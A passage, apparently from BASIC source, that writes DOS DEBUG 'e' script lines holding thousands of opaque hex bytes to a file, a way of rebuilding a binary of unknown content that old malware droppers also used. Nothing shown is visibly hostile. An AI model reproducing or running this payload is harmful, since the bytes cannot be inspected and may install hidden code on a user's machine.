47 31 B6" Print #1, "e 4290 58 2F 78 C7 33 86 2E 20 B3 17 28 E7 50 72 97 98" Print #1, "e 42A0 8D BA D4 A6 2F 18 88 5E 12 81 E8 B8 A5 05 6D 46" Print #1, "e 42B0 97 7A E2 55 CA D7 58 B3 65 C2 57 1B 2A 60 22 D4" Print #1, "e 42C0 50 DA 0A 1E EA 29 F5 B1 6E 58 5F B2 DA 8D 3C D6" Print #1, "e 42D0 A0 0D 99 84 1C C3 47 2F 69 A3 AE E2 6A DF A9 48" Print #1, "e 42E0 E6 54 63 9A A9 44 B8 59 75 0F 30 AA 90 F3 31 40" Print #1, "e 42F0 1E 60 0B 47 A6 65 FB 36 B9 61 E3 C4 3C 24 00 74" Print #1, "e 4300 FA BF 71 9B 6B 2D 0C 74 AE 0B 8A 58 C0 1D 53 B5" Print #1, "e 4310 BF 97 12 F0 00 2C 8F 8D 1E E5 6D 33 2F 97 A5 E0" Print #1, "e 4320 BA 80 E5 FD 1A B5 67 16 30 DD 8D 8E 23 21 96 8D" Print #1, "e 4330 37 6A 09 82 D4 3B 7D 43 82 C6 53 42 30 D0 77 BF" Print #1, "e 4340 45 AE 42 3B 74 6B AF 50 34 79 88 16 98 1B BC 9B" Print #1, "e 4350 0A E4 63 0B 66 0D 07 C5 E9 F7 13 3D 5E 03 EB 99" Print #1, "e 4360 91 CE 82 D0 A8 B9 C9 1A 73 7A 83 48 2D C4 B8 A5" Print #1, "e 4370 D9 D2 1A CF 66 62 27 57 69 86 31 F3 1C 05 4F 5C" Print #1, "e 4380 CC 21 4F BA 99 BA 3C CB 38 F9 B3 8A 58 76 42 7C" Print #1, "e 4390 C4 36 01 0B 5B B4 C7 40 26 EA 69 02 A6 2B D0 3F" Print #1, "e 43A0 1B 6F 05 D6 DB CC 51 97 51 C2 64 E2 E0 57 9B 2F" Print #1, "e 43B0 DD E1 34 0F 89 C9 8C CB 72 DC 27 B8 AD 03 DC 49" Print #1, "e 43C0 46 FB 86 BF D4 CF 6B E9 83 C3 F9 94 32 C6 28 D8" Print #1, "e 43D0 22 83 61 EB 53 24 E4 AD EC 12 BB A4 AB 28 29 39" Print #1, "e 43E0 4B EC E6 63 3F 17 03 F2 82 94 4E 10 41 7E 46 BD" Print #1, "e 43F0 4B 82 F7 03 8F 17 58 BF 44 7D 92 A0 6F 2F 42 23" Print #1, "e 4400 26 46 A0 49 8D A9 3D 46 41 AC 2A 19 D0 A5 42 F2" Print #1, "e 4410 D0 50 00 A7 93 30 52 AB 53 E2 74 C7 A9 66 F4 96" Print #1, "e 4420 50 1E 75 02 74 A1 78 5E 73 10 CD 88 8A 33 B8 EE" Print #1, "e 4430 66 0F 65 4D CF 99 77 29 40 CB DB 44 72 E2 D3 76" Print #1, "e 4440 D6 3A C0 40 AC 8B C2 F4 20 4F A0 92 D7 EE 11 51" Print #1, "e 4450 A7 42 AE 1F F7 E2 33 F9 8F 4E 01 F6 7E 25 1C 61" Print #1, "e 4460 03 E0 B0 79 85 EB A1 63 70 70 25 E1 CB B9 43 D7" Print #1, "e 4470 E1 5E 0D AF 0A 01 7C 62 30 0E A8 BD 2B 57 77 46" Print #1, "e 4480 6D AF A9 C8 1A 0E 77 5A 6D 58 2E EA 54 57 AE 12" Print #1, "e 4490 29 B8 2F 0A 45 79 32 80 2D 5E 7C D3 E5 F8 96 05" Print #1, "e 44A0 00 CD 6C 75 95 59 E1 82 3E 44 36 5D CC CB 5F 10" Print #1, "e 44B0 BA 7D 8C 6D 68 00 E0 75 2F F5 1D CD 27 50 8B 40" Print #1, "e 44C0 A4 00 43 AC DB F8 BF F1 E6 11 5A 0A F4 09 BD BE" Print #1, "e 44D0 F1 25 A2 47 DF 41 52 BF 17 17 F0 74 73 FE 37 2F" Print #1, "e 44E0 F1 CC BF C1 B9 71 58 CA B9 A8 3B DA 09 66 69 FF" Print #1, "e 44F0 00 57 1D 5E 77 0B FA 4B 08 5A 52 B0 56 70 E6 EF" Print #1, "e 4500 BC B7 57 63 64 36 01 B2 DA CA E5 AB D5 BD 20 11" Print #1, "e 4510 6B 29 FA 4C A1 16 DC 6F F4 41 E5 0C 70 2A A9 70" Print #1, "e 4520 EA 53 42 15 6D 11 9D AA B4 00 AA 76 62 05 70 28" Print #1, "e 4530 2A 99 86 5D 85 08 53 C1 5F E4 05 A8 8C E4 F0 F9" Print #1, "e 4540 1E 25 C0 B0 5B 63 D9 E9 D9 F1 14 E6 22 B2 35 C5" Print #1, "e 4550 8B 93 1C D3 AC 4B FE CF 1C 7A 95 8E 98 B2 FC E6" Print #1, "e 4560 17 D1 94 E4 F5 3E E6 6E 0D 04 2B 06 30 78 82 09" Print #1, "e 4570 68 B5 78 52 59 A3 57 D0 96 60 EE 1A 03 8A E5 60" Print #1, "e 4580 00 6E E0 33 1B 45 51 40 B5 5F 11 05 87 14 03 7F" Print #1, "e 4590 F7 58 50 7C 94 60 29 55 D0 F7 25 8A A7 63 74 65" Print #1, "e 45A0 FE C2 AA EC 31 5D FC 05 C1 69 6B 9B 4A 73 84 B2" Print #1, "e 45B0 2D 48 85 0D D9 C5 07 7E E1 E4 19 19 20 E6 90 29" Print #1, "e 45C0 08 54 95 AD B3 CC 40 0B 36 BB DC 75 9D E1 B3 E2" Print #1, "e 45D0 39 D7 5A 3F 51 71 A0 96 01 37 14 F5 B4 E2 7C 8A" Print #1, "e 45E0 64 E5 B8 9D 86 0F A4 F5 3F F9 D3 74 3D 4C F1 A9" Print #1, "e 45F0 78 02 7A 04 05 11 02 8B DD B8 4D F6 6F 0F 89 76" Print #1, "e 4600 83 D3 6D 44 21 C0 76 F5 4C BA 9A 46 D7 59 AA 89" Print #1, "e 4610 B6 CE 6D CA F5 1A 6E B5 B1 22 14 15 DC A8 A7 30" Print #1, "e 4620 5C C0 14 72 13 2E 66 D5 03 69 C4 E1 93 B6 F8 8D" Print #1, "e 4630 6D 23 1B 31 69 DF C1 0B 3E 08 EF 7C 12 BD B8 3A" Print #1, "e 4640 0A 2D AC 92 F4 A4 B6 8E 5D 32 47 D4 0A 5D E0 EA" Print #1, "e 4650 6A BE 25 04 2E E0 AF D5 41 A5 4D F0 F4 97 2B 56" Print #1, "e 4660 F0 5E CE 7E 65 AA 86 2E 22 3C 95 BE 73 1F F8 4B" Print #1, "e 4670 43 A2 8E 65 E3 2C 2F 59 DB B6 21 DD 75 A3 A7 46" Print #1, "e 4680 3D 70 B1 56 1A 0B 32 E7 D5 CA BC 81 82 5A B9 C6" Print #1, "e 4690 72 F3 E2 52 89 5A AE 35 75 84 D9 6C 55 16 EF AB" Print #1, "e 46A0 1A 6B 52 B2 9D CB C8 F7 FB 94 1A 45 69 14 D7 A8" Print #1, "e 46B0 DB 21 01 B6 F8 8A 06 80 34 29 22 32 F5 98 B7 9B" Print #1, "e 46C0 C4 3C A9 61 1C B1 E6 CF 77 12 A1 5B D4 EA DA C1" Print #1, "e 46D0 A3 AC C9 AA A5 AA 82 F2 06 77 01 49 3C 0D 20 0C" Print #1, "e 46E0 AF AA 4C 18 7C 14 CB 68 48 CD ED 8E 18 A8 A5 E7" Print #1, "e 46F0 19 96 A1 21 B6 4E AA C7 8C 7E E3 0C 16 F3 A5 46" Print #1, "e 4700 52 84 53 40 60 1E 18 3E 89 4A 8B DD 60 59 57 1A" Print #1, "e 4710 C1 43 3D 9B 89 A6 D3 8B 95 15 52 D2 55 D7 75 71" Print #1, "e 4720 B9 B4 11 C1 E8 4C 26 F0 AD B1 85 75 DE 65 5A 9B" Print #1, "e 4730 DC 70 65 82 DF A8 9F A2 28 11 A3 F1 01 F4 4C 92" Print #1, "e 4740 DD 08 EF 02 D1 B7 B4 AA 28 2E 9E 25 25 1A 75 BC" Print #1, "e 4750 9D A2 83 86 31 42 58 AF FC 3F EE D2 E5 6E D5 65" Print #1, "e 4760 FF 00 AE 18 25 B8 A5 03 BF F2 08 9D 6E EA 97 BE" Print #1, "e 4770 22 45 0F 55 37 AD 62 93 EF 50 E8 69 B1 6E A6 1D" Print #1, "e 4780 AA 63 00 54 41 35 02 A6 44 AA C3 F8 28 EE 05 67" Print #1, "e 4790 11 56 57 C5 42 BA 65 46 D2 6F D2 E3 35 83 52 D6" Print #1, "e 47A0 BF 73 10 FB 14 D0 12 8A A6 C0 7D 4A 4D 06 4D D1" Print #1, "e 47B0 7E 74 47 10 41 65 13 8C 72 F7 C4 70 54 4C 0A EB" Print #1, "e 47C0 4F 3E 65 EF 90 2D AE 1D 1C 6A 74 A6 DA 57 B4 7D" Print #1, "e 47D0 40 B8 B7 4F 5A AA 99 81 26 21 42 99 E7 77 10 B9" Print #1, "e 47E0 5B 90 D7 80 97 C0 DA 9B 29 18 DB A6 4B 2D C1 EA" Print #1, "e 47F0 57 49 40 39 B4 6A FD F9 8A 2A 11 78 96 5D D6 11" Print #1, "e 4800 A0 48 35 83 87 1E 65 24 3D 5D 8B A4 7A AD 6E BD" Print #1, "e 4810 3A C6 CA 6D EF F5 D7 83 B4 70 30 50 83 67 F6 59" Print #1, "e 4820 DE E8 15 46 DA 17 53 96 5C 66 AE D4 A8 B0 B9 F0" Print #1, "e 4830 1F A8 11 58 B9 26 45 0B EE 61 F7 37 70 D7 D4 70" Print #1, "e 4840 BF 4A 0C 62 36 C9 74 19 09 37 68 2B FD B9 49 33" Print #1, "e 4850 41 50 96 DB 45 1B 4B 7F AA 81 76 1B F5 18 2D 4C" Print #1, "e 4860 68 41 2E 2A CE 9C C5 B8 7B 02 22 49 90 83 D3 81" Print #1, "e 4870 B8 87 2B C4 00 74 99 51 0C 47 79 6F 1A 51 71 AA" Print #1, "e 4880 D1 59 CF 32 DE 94 D1 05 AD 9A 61 82 86 82 17 EF" Print #1, "e 4890 DC CB 60 43 E2 5B 24 43 BC D4 B0 DA F3 16 89 70" Print #1, "e 48A0 6A 51 E8 37 D7 3F 10 DC AA AB 39 53 FE A8 62 99" Print #1, "e 48B0 B3 67 15 1D 57 05 45 D1 16 E2 53 51 83 53 85 8D" Print #1, "e 48C0 EA 98 9D 6A 21 A1 19 20 8A 53 F1 36 DC 78 17 10" Print #1, "e 48D0 6A E0 59 23 C0 D7 98 13 3B 43 6E 6A 51 6A 8D 2A" Print #1, "e 48E0 77 E8 14 22 E1 85 64 D3 F1 1C 66 F4 BA BE 65 43" Print #1, "e 48F0 1C C0 71 13 C5 32 0C 87 38 A8 98 98 91 06 AE EC" Print #1, "e 4900 EF 99 8E 9B 00 E3 E9 82 89 5E 80 68 36 71 CF D4" Print #1, "e 4910 AC 70 D5 0A FC 61 AD 99 A5 0A 07 D4 DE E0 30 2C" Print #1, "e 4920 60 20 E6 AA 1C 35 D2 35 98 44 41 EB 07 7B 79 87" Print #1, "e 4930 93 15 2E EA A1 D3 97 98 DB 32 BE 92 42 85 4F 18" Print #1, "e 4940 48 6B 1C 68 80 F4 AC A7 93 D8 3F 72 80 C8 5B 45" Print #1, "e 4950 AF 51 50 CF 28 34 7D 97 32 08 71 99 79 E9 EE 58" Print #1, "e 4960 8D 62 CB 24 25 19 C3 98 74 B8 B9 7A C8 AB 21 08" Print #1, "e 4970 2A F7 04 D7 C4 D0 CA C7 0A B7 03 98 25 DF 63 7B" Print #1, "e 4980 AA 96 46 95 77 FA 62 1D 4F B7 A3 D3 30 DD A1 0C" Print #1, "e 4990 7D E2 81 5A F8 FF 00 25 2C FB AD FE 41 D5 02 8A" Print #1, "e 49A0 2E B8 3B C0 30 37 27 30 28 6D 1D BA CC 5B 8A 4D" Print #1, "e 49B0 BB 88 4B BA 62 D8 83 AD 3A 81 29 39 EA FC 46 6E" Print #1, "e 49C0 3E F5 A4 6E 8F 45 8C 51 3C 31 FB 88 02 5D B5 F1" Print #1, "e 49D0 FC 94 64 17 CE A0 A3 7F A4 34 16 7B 46 91 34 E1" Print #1, "e 49E0 30 2E F0 61 9C AD 9C 84 BE 27 09 5E 12 B8 4C 0D" Print #1, "e 49F0 DC 2B CB 06 F2 B0 4E B1 0C 0D 70 88 C0 10 D9 78" Print #1, "e 4A00 61 48 F2 B5 58 82 17 11 C5 E7 EA 0A 4F B5 77 FA" Print #1, "e 4A10 94 21 43 8C 37 D5 DC 4B 78 41 DF 99 52 E1 0A D9" Print #1, "e 4A20 71 6A F2 6C FF 00 C4 C7 E5 8E 40 7F 4F E4 A4 75" Print #1, "e 4A30 90 FE A2 F0 D4 72 2A 7D 44 C1 6C 15 5F 15 0D A1" Print #1, "e 4A40 32 F0 53 17 43 77 55 31 77 C2 C7 BA 7F DC 2A 17" Print #1, "e 4A50 B5 5D 58 76 0D F5 19 47 70 51 7A 0B AF 22 E3 D6" Print #1, "e 4A60 E3 76 E1 19 17 54 C0 63 65 05 4C 2E A5 3A E6 61" Print #1, "e 4A70 2F 54 CD 71 2A 73 28 FB B3 E6 58 A9 BB D5 C3 4E" Print #1, "e 4A80 C0 0B 4A C5 2A 64 BD 34 50 3D 45 6F DB 16 1F 51" Print #1, "e 4A90 C9 A0 BA BA 98 CC EE C0 67 C8 9F C8 74 DE DD 6E" Print #1, "e 4AA0 C0 E4 F9 8B DF 35 A9 0A A2 6E A3 A7 65 84 23 6D" Print #1, "e 4AB0 45 E9 E5 C7 38 3C CA 14 49 83 DC 54 BA EC B7 DA" Print #1, "e 4AC0 17 42 51 80 78 43 E1 72 CD 56 A8 0E E2 58 77 D4" Print #1, "e 4AD0 12 F4 2A 40 CD 68 B2 CD 97 2F 71 6A 65 01 4A D8" Print #1, "e 4AE0 AB AA 97 D4 A2 22 0D 2D 17 64 CD 1E 65 40 FC 8A" Print #1, "e 4AF0 E7 4C 2F CB 52 E8 19 AB DF E1 BF B4 42 20 72 14" Print #1, "e 4B00 34 8D E1 96 E8 52 D7 2C B1 56 B7 AD C1 D7 E2 F2" Print #1, "e 4B10 D4 56 1D 90 7F 50 C8 3E 69 A8 B4 D7 6C 98 8C 93" Print #1, "e 4B20 D0 5C 6C 9B C8 D9 31 16 29 40 62 41 47 33 E8 21" Print #1, "e 4B30 2B B5 CD 2F ED D1 E2 5A 5A BE 28 CB 2C 1D EE 3F" Print #1, "e 4B40 EB 96 A9 41 16 05 E5 61 AA AC 3D F9 4B D1 19 1C" Print #1, "e 4B50 EC E7 75 DA E0 BD 65 E0 3D 23 98 0A 62 58 5E 25" Print #1, "e 4B60 EF 33 E8 45 CC A7 3C 45 DE 22 58 5E F2 F6 D0 14" Print #1, "e 4B70 69 AB CD 45 60 B8 1A 6B A9 E2 08 26 13 CA 17 1D" Print #1, "e 4B80 B9 05 F9 23 0F 62 E1 75 A7 D0 C3 16 3B 76 77 0E" Print #1, "e 4B90 14 52 D1 6B D8 97 E3 4A B3 79 F1 19 76 2D B2 1B" Print #1, "e 4BA0 00 D3 47 F9 1E 5B 97 00 F5 70 BE F2 AB F6 06 E1" Print #1, "e 4BB0 E8 FD B3 DA F4 AF D0 DF DC 06 13 01 6C 69 99 65" Print #1, "e 4BC0 0B 53 36 F5 20 81 2C 0A DD 63 1D 21 C7 60 17 20" Print #1, "e 4BD0 33 D5 93 88 91 C9 07 B7 80 15 7D DE F0 C8 AB 54" Print #1, "e 4BE0 86 DC 40 DB 2E B9 30 18 81 08 15 6E D2 E2 6C 17" Print #1, "e 4BF0 D2 5E BB 4C 3B A2 6C 53 94 5D 13 10 36 A2 CE 15" Print #1, "e 4C00 D3 98 9D D8 C1 42 5F 1C BF 71 38 DE 33 B2 18 91" Print #1, "e 4C10 5E 4D C1 88 A5 90 B4 63 17 E2 E1 F4 33 34 F2 41" Print #1, "e 4C20 35 FB 97 2E A1 04 E4 E4 78 40 45 20 24 0A 0E 9A" Print #1, "e 4C30 EF 30 5F 46 96 F5 2D F8 5D 4B CE D2 96 07 86 87" Print #1, "e 4C40 F5 11 A3 C8 54 F0 31 BF FC 40 82 5C 7B 9C A9 14" Print #1, "e 4C50 D6 80 4E 56 56 12 0F 94 EA B6 00 C2 F3 A6 2C 51" Print #1, "e 4C60 89 D3 DD 0A DB 96 89 45 34 DE 36 85 54 05 6B 5A" Print #1, "e 4C70 44 E4 08 89 F9 31 3D 7A 98 B1 79 6C 5C 06 6C E0" Print #1, "e 4C80 0C EC CC 61 90 3E C3 7B D0 CB D3 96 CC 34 52 F0" Print #1, "e 4C90 9B 2E EF 11 D5 A9 73 72 8D E8 D9 4A 0C 60 97 9B" Print #1, "e 4CA0 12 AD C3 89 45 AD 62 9A 9E 70 FA 65 A0 73 43 84" Print #1, "e 4CB0 02 93 91 5B C6 B5 05 25 CB 4A 3E 58 B2 94 B6 85" Print #1, "e 4CC0 F8 EB 29 11 57 C4 BE E9 7C 95 D8 96 DF 90 25 AC" Print #1, "e 4CD0 79 50 6F 61 AB F5 32 A3 EA 88 C8 05 29 2F 99 CF" Print #1, "e 4CE0 14 DE BB D5 10 AF 00 0C 64 E1 AD 21 9A 8A D0 CB" Print #1, "e 4CF0 89 A8 74 4C 39 A8 CA 33 36 C2 91 E6 ED 8B AB 94" Print #1, "e 4D00 0D CB 18 0D DA C4 09 98 4A 34 43 0E BB 34 97 9F" Print #1, "e 4D10 34 24 AD 3A 34 0D 1C 47 7D 6D A0 42 A2 D9 3D 71" Print #1, "e 4D20 1D 21 ED 2D 95 64 54 21 03 CB BC BD 91 AB AC 5B" Print #1, "e 4D30 8B 08 B0 7B 4C 97 65 6E D9 C0 33 FC 95 77 28 41" Print #1, "e 4D40 17 98 BE B0 E7 0C 4B 8D DE 63 E4 DB 66 77 10 48" Print #1, "e 4D50 2E AA BF 73 0C 95 1A E7 AA BB 82 92 AD 65 3C 1D" Print #1, "e 4D60 BC 78 8A 98 62 52 96 E1 5F C8 17 D8 EC 07 59 60" Print #1, "e 4D70 18 28 16 6D 92 73 5D 73 2A 49 74 DA 20 64 FF 00" Print #1, "e 4D80 49 46 79 40 CB 99 49 E8 36 BF 3D 21 C2 20 5B 66" Print #1, "e 4D90 35 8A EE F1 28 5A 28 2F E4 78 8A 3F 39 40 E6 B1" Print #1, "e 4DA0 5D F8 8C 97 8D 0E 05 F2 AC 2F 6E 83 1E 25 F9 D2" Print #1, "e 4DB0 2B B1 0E AF DC B0 F3 2B 6E C4 8D 25 D9 43 3E 53" Print #1, "e 4DC0 B4 7A 11 DC 69 B5 E4 7F E5 CA CF B8 7B 72 39 0F" Print #1, "e 4DD0 66 8B 96 F1 0B 6E F1 83 0B 5B EB E5 B9 76 44 A4" Print #1, "e 4DE0 E4 AE 2D 67 CA 18 14 15 2C A6 14 5B AC 25 54 E5" Print #1, "e 4DF0 B6 35 6A B8 21 2F 20 56 61 02 42 C0 09 F6 23 1B" Print #1, "e 4E00 85 8A F4 A5 D5 06 21 46 32 18 3D 29 13 8F 71 71" Print #1, "e 4E10 01 54 6A A9 4A 2D 3B C7 72 1A 81 8C C1 76 F6 C1" Print #1, "e 4E20 07 04 27 A4 B4 A6 69 0C 97 CC 36 38 C6 6C B7 C5" Print #1, "e 4E30 C6 2D 47 A1 6D FD C0 26 55 D5 47 18 E3 DC 4E 8E" Print #1, "e 4E40 11 61 50 E0 72 80 B2 6B 49 37 7F C6 FB 42 E1 09" Print #1, "e 4E50 D0 7D 5C 20 53 69 72 C8 80 AB 36 F7 10 08 D0 2E" Print #1, "e 4E60 B8 25 18 66 20 C4 B1 9D 2C B3 57 6C C1 84 80 AF" Print #1, "e 4E70 35 D8 FC CB 96 96 75 BF 49 D8 8B 0C CD 73 05 5B" Print #1, "e 4E80 81 6E 61 4D C4 8E E6 1C C0 A8 22 D4 6E B2 E1 77" Print #1, "e 4E90 A8 D4 5E 63 CE DB 00 BC 6C 6B B3 53 8B 1F B2 7E" Print #1, "e 4EA0 CD 77 84 2E 07 65 EA 09 5D B3 3B D4 A5 A6 32 BA" Print #1, "e 4EB0 42 97 DF 11 05 20 C3 CA 58 6C DD 08 09 7B CB 1A" Print #1, "e 4EC0 AB 40 76 32 DF 78 52 F6 11 32 F3 4E BF F2 61 4E" Print #1, "e 4ED0 EA 25 0E 23 83 9F 72 F2 F1 5C 4B 54 6C B3 BB D2" Print #1, "e 4EE0 21 18 76 65 88 2C 46 D5 77 31 F3 2A 65 77 23 08" Print #1, "e 4EF0 5D 67 0F A9 89 82 A0 D8 40 CD 15 FA 88 8F BB 4A" Print #1, "e 4F00 58 4B 0D 2F 17 85 E9 11 16 56 EE BF EE B1 79 2F" Print #1, "e 4F10 17 57 66 5D 50 BD B7 17 0C 59 4F 31 03 52 E4 07" Print #1, "e 4F20 D4 05 03 BD FF 00 12 92 61 66 2A FE A0 DC 45 00" Print #1, "e 4F30 29 CD 11 A8 45 6A 3C F5 80 9B 61 EB 61 B4 9A 9C" Print #1, "e 4F40 94 3A E4 60 8C B3 D3 10 5B 7E 17 0A 1D 25 4C AD" Print #1, "e 4F50 74 71 86 58 B9 E9 03 BF 46 A9 39 FA 6D 85 01 88" Print #1, "e 4F60 B2 87 E1 66 C7 BA 94 42 F9 73 29 D0 A6 0C F5 86" Print #1, "e 4F70 A8 69 7C C5 38 64 BF 21 EA CE 16 A5 55 FF 00 19" Print #1, "e 4F80 75 C2 58 1E E3 AD 41 3E E3 62 25 1A 67 3B 2C BE" Print #1, "e 4F90 7A 24 7E A0 22 EF 49 1D 1E 47 B8 B2 40 14 61 9B" Print #1, "e 4FA0 A0 5B E6 31 52 98 A8 AA CE 73 0C E5 04 07 C0 2D" Print #1, "e 4FB0 77 D6 18 94 A1 22 06 F0 38 88 AC 83 1B 0F 98 A2" Print #1, "e 4FC0 EA A2 D7 6C 5F 7D 47 E2 91 CB 7F B2 0E 91 47 0E" Print #1, "e 4FD0 C7 C9 38 7C 86 77 BA EA 61 BA A9 2B 88 7D 02 A3" Print #1, "e 4FE0 96 A8 B5 02 F3 13 94 E9 A8 D4 FB 55 AA 77 40 98" Print #1, "e 4FF0 6A C1 B0 35 A3 E5 8C 1D A0 C5 87 CE E5 A8 05 50" Print #1, "e 5000 78 B9 F8 A9 75 7F CD 28 F5 23 65 8D 86 FE 2C FD" Print #1, "e 5010 CA 42 BA 8B F5 51 17 19 9A 27 A5 D9 F2 92 C7 D7" Print #1, "e 5020 41 F0 0B 1F 4C E5 24 06 49 EA 12 22 BE EF 10 1B" Print #1, "e 5030 1F 0C 3C 5B 9B F8 F3 08 94 51 03 DC 84 1A 88 EA" Print #1, "e 5040 0E 27 6B 43 3B 9C CA BB D2 B2 97 92 16 05 F6 B6" Print #1, "e 5050 50 AF D7 55 22 B7 0D 8D 6F CB 70 1D 32 A8 24 3D" Print #1, "e 5060 5D 46 E2 8A 54 ED D0 6E 2E B0 C0 B4 77 D2 5A 19" Print #1, "e 5070 5D D1 B9 8A D5 78 99 40 A0 75 2C DC 60 88 65 33" Print #1, "e 5080 51 8B 40 89 E6 3E DE B4 43 7B E3 72 EA 63 BC 6B" Print #1, "e 5090 C9 0A 80 63 54 11 76 E8 E7 09 CA BB 2E 98 1D 59" Print #1, "e 50A0 2B 54 AA DC CD 83 7A F2 C3 4A 50 22 03 49 2B 73" Print #1, "e 50B0 7A A5 69 3D CD 50 BB C6 E3 3B 1D 85 A7 AC 25 27" Print #1, "e 50C0 49 6E 3D 22 36 0C 21 9C 4B 26 93 B0 8E 6B 85 0F" Print #1, "e 50D0 2D D3 4D DB 5D 6A 20 67 00 2D 5A 85 E0 BE 1D 52" Print #1, "e 50E0 58 E6 45 74 16 D3 6D 89 01 CD 69 1A 04 0F 8B 32" Print #1, "e 50F0 E7 50 54 84 BD 52 2A 85 16 BE 22 BA 18 69 85 0A" Print #1, "e 5100 A3 E2 3A 21 35 07 D2 05 42 BC AC DB B4 EE 80 07" Print #1, "e 5110 DB 79 83 6C 55 98 1D 1A 87 22 EC DC 5F 71 AA FC" Print #1, "e 5120 A4 41 72 94 3C AC DA 28 E8 07 35 15 B6 B0 DF 3D" Print #1, "e 5130 4F 8B 8D 16 0C F4 48 90 31 D3 33 1D 69 C5 A7 DE" Print #1, "e 5140 E3 A9 43 21 0F ED 63 BE 78 55 95 E2 51 BD 76 AC" Print #1, "e 5150 FD 31 DB 81 92 A6 F9 C9 B9 CB 2B 84 BC 54 2A CE" Print #1, "e 5160 3B 42 34 57 7B 57 54 77 86 D8 0B 9A C0 BF DC 66" Print #1, "e 5170 05 33 17 83 85 88 BB 99 54 4C 60 3C 4A 73 A7 24" Print #1, "e 5180 40 21 F0 4F D2 00 01 E8 02 8E FD FD 4B 54 01 80" Print #1, "e 5190 FA 09 64 F4 E6 C7 9F 78 A5 81 54 BB 11 5A DD 00" Print #1, "e 51A0 6F A9 D1 81 8D 37 4C 3D 53 AB 3F 55 1D F4 98 FC" Print #1, "e 51B0 54 0A CE 62 AE DB 8C E2 1B 66 55 92 C6 4C A8 2C" Print #1, "e 51C0 3B C0 DC 0A 1B B9 61 89 56 8C C2 ED 17 C1 41 A6" Print #1, "e 51D0 A6 18 7F 08 7B AC A5 41 6F 16 B1 CD FF 00 A8 8F" Print #1, "e 51E0 42 34 C8 F3 10 2B B2 58 64 5B B8 24 A5 D2 16 09" Print #1, "e 51F0 F6 44 20 95 79 2E 02 C2 81 70 F7 EF 0E 03 90 DA" Print #1, "e 5200 DB C4 6D 48 A4 CA D6 38 6D 87 61 87 B6 02 BA 0D" Print #1, "e 5210 C3 45 78 AE D2 82 06 80 E2 F4 16 C9 65 E0 C5 31" Print #1, "e 5220 C5 8D 5D 58 B6 AB 93 58 67 AC 40 2A 68 41 EA 00" Print #1, "e 5230 7E A0 25 CA F1 1C EB 98 34 D3 F7 3D 9F 27 F6 71" Print #1, "e 5240 8D EC 1F 75 31 88 27 95 72 62 5C BD D3 F1 D2 AF" Print #1, "e 5250 EA 32 22 43 20 8A 5D F0 66 9A CF 52 1F 64 5D 48" Print #1, "e 5260 19 BB 45 AE 66 BD 1C D8 BC AD 39 AA 1E A2 DC 29" Print #1, "e 5270 97 2D 4B 80 B2 BA AE 8F 49 8B 24 E3 30 59 BB 7A" Print #1, "e 5280 8C 18 6A 73 44 4B D6 E7 78 BA 97 D4 74 8F 38 DF" Print #1, "e 5290 64 BF 21 65 8C DF 23 5F 47 FB 82 48 6C 5A FA E4" Print #1, "e 52A0 0B F8 25 A9 A1 79 8C 25 B3 05 D4 82 69 D4 7F 0A" Print #1, "e 52B0 30 87 A5 C9 6A AE BA F7 8A 8A B3 D1 D7 CC C8 CF" Print #1, "e 52C0 25 6F FD 4B 96 0E C2 36 DC B8 ED 18 0B 7F 23 4A" Print #1, "e 52D0 6E FE 59 2D A3 A0 68 D7 78 FB 40 3F 69 D5 5D F1" Print #1, "e 52E0 8F 32 CA 0E 89 3B 50 0F 7B 63 1A B6 17 8F 43 03" Print #1, "e 52F0 7E 19 C2 9D C2 2F 48 B4 5F 45 19 81 CA CD E1 02" Print #1, "e 5300 26 0C AF 07 57 BC 14 81 2D 48 11 D0 68 6E C9 F8" Print #1, "e 5310 5C FA 7C CD F0 91 B1 EB 5C 12 9B F9 EF 5D 0F 25" Print #1, "e 5320 92 C5 21 71 47 40 4A BD 46 FF 00 C0 69 75 7C C4" Print #1, "e 5330 2F 01 89 92 34 51 2E 3B 9D 8E 97 E2 5A 35 A2 E4" Print #1, "e 5340 FC 4B A0 E6 A8 D9 10 7B 3D 5E 25 FF 00 4C ED 98" Print #1, "e 5350 BC 69 26 03 F5 2F 4D EF 11 30 9B 58 40 BD 08 16" Print #1, "e 5360 C6 30 67 05 0F 63 F4 41 3B 81 76 5C 67 69 83 BA" Print #1, "e 5370 83 0A 6D F3 2C BE F8 D8 1C 65 20 50 CB 15 AE 0F" Print #1, "e 5380 A2 85 E2 79 2C 52 16 70 55 62 D4 19 9C 9C D6 89" Print #1, "e 5390 78 17 75 0A 6E B0 36 6A 2A 95 23 81 A2 20 C8 B7" Print #1, "e 53A0 A9 4B 48 AE B0 D5 A7 F2 20 77 20 27 EA 2B 5F 27" Print #1, "e 53B0 FD 40 23 A9 D6 4A 3A C8 08 37 5C 0B D0 82 B0 75" Print #1, "e 53C0 1D B0 D6 1A F7 0B 50 09 05 D9 5D AC A3 58 82 DC" Print #1, "e 53D0 F0 10 59 B0 B8 56 7C 40 0C E2 2B 0B CD 67 0F 88" Print #1, "e 53E0 B9 96 82 5C B6 74 30 09 42 36 73 0C 32 9D B8 98" Print #1, "e 53F0 65 36 EC 13 FB 0B BE 61 C7 48 95 BE E6 E1 B2 80" Print #1, "e 5400 BB B5 18 53 8B 0D 6A 22 C2 2E DB 7A 44 F1 98 4D" Print #1, "e 5410 6A 99 BD 33 EC 62 B6 ED 57 AC 33 48 AC 4B 0C 66" Print #1, "e 5420 A2 8D A7 1D 48 EF 1F 85 1C 33 2C 2A ED FF 00 02" Print #1, "e 5430 54 5C 94 18 3B B1 C8 80 18 05 B2 E5 37 E2 59 58" Print #1, "e 5440 5E 5A BA D4 BB 2F 06 EA 06 40 8A C7 46 E5 1F 29" Print #1, "e 5450 75 7F 03 AD F7 ED BC 40 18 5A D8 9A 4F 31 1D 5C" Print #1, "e 5460 B9 C1 7D C4 07 9B 52 C7 71 1E 6B BE 2E 74 B7 63" Print #1, "e 5470 B5 B0 AE A5 E4 78 21 6C B8 58 11 E2 73 63 2E 7B" Print #1, "e 5480 85 9A FA 82 A8 78 7C 44 B3 6A 36 86 A0 AC 12 8B" Print #1, "e 5490 6D 7B AF 59 C4 40 69 2C 82 95 33 97 30 D3 65 71" Print #1, "e 54A0 32 12 96 1B 82 F9 23 28 96 98 40 F3 1B 8F A8 3E" Print #1, "e 54B0 51 DC B9 8E 76 8C 2B 67 48 AB 6E 58 A7 71 87 4B" Print #1, "e 54C0 83 30 56 34 B0 77 60 96 D0 CE 25 28 3C A3 5B 29" Print #1, "e 54D0 B8 A3 DA A7 58 DE 52 2E EE 46 85 66 8F 1C 52 1F" Print #1, "e 54E0 59 48 C1 E3 